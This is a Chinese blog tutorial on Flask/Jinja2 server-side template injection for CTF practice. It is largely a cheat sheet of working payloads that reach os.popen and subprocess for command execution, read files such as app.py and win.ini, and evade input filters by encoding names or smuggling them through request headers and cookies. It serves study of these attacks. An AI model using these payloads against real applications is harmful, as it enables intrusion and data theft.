Flask模板注入小结

文章链接

目录

  1. 简介
  2. 基础知识
    1. 模板语法
    2. 魔术方法
  3. 常规逃逸
  4. 内置函数
    1. 介绍
    2. 条件
    3. payload
  5. 内置类
    1. Undefined
      1. 介绍
      2. payload
    2. bytes
      1. 介绍
      2. payload
  6. bypass
    1.  
      1. 字符串过滤
      2. 符号过滤
      3. 编码绕过
      4. request方法
  7. 参考

简介

SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。

基础知识

模板语法

1
2
3
{% %} # 控制结构
{{ }} # 变量表示符
{# #} # 注释

魔术方法

1
2
3
4
5
6
7
8
9
__class__        # 返回调用的参数类型
__base__         # 以字符串返回一个类所直接继承的第一个类,一般情况下是object
__bases__        # 以元组的形式返回基类
__mro__          # 返回解析方法调用的顺序
__subclasses__() # 返回子类列表
__globals__      # 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__import__       # 导入模块
__builtins__     # 内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
__getitem__      # 提取元素

常规逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}

# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}

# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}

# <class 'click.utils.LazyFile'>
## 命令执行
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
## 读文件
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}

# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}

内置函数

例题:安洵杯2020--Normal SSTI

介绍

flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;

jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__

条件

flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;

jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用

payload

1
2
3
4
5
6
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路

内置类

Undefined

介绍

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型。

payload

1
2
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

bytes

例题:xctf_huaweicloud-qualifier-2020/web/mine2

介绍

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

bypass

字符串过滤

1
2
3
4
5
# 字符串拼接
""["__cl"+"ass__"]
""["__cl""ass__"]
# 字符串倒序
""["__ssalc__"[::-1]]

符号过滤

1
2
3
4
5
6
7
8
# 绕过.
""['__class__']
''|attr('__class__')
# 绕过[]
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
# 绕过\{\{
{%print()%}

编码绕过

进制转换地址

Unicode转换地址

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

request方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 参数传递(GET|POST都可)
""[request.values.x1]
# GET方法传参
{{""[request.args.x1]}}&x1=__class__
# POST方法传参
""[request.form.x1]
	POST: x1=__class__
# headers头
""[request.headers.x1]
	x1: __class__
# User-Agent
""[request.user_agent.string]
	User-Agent: __class__
# Cookie
""[request.cookies.x1]
	Cookie: x1=__class__

原理有限,姿势无限,希望看到更多带佬的骚姿势(*^_^*)

参考

浅析SSTI(python沙盒绕过)

Jinja2过滤器

关于Flask SSTI,解锁你不知道的新姿势https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA)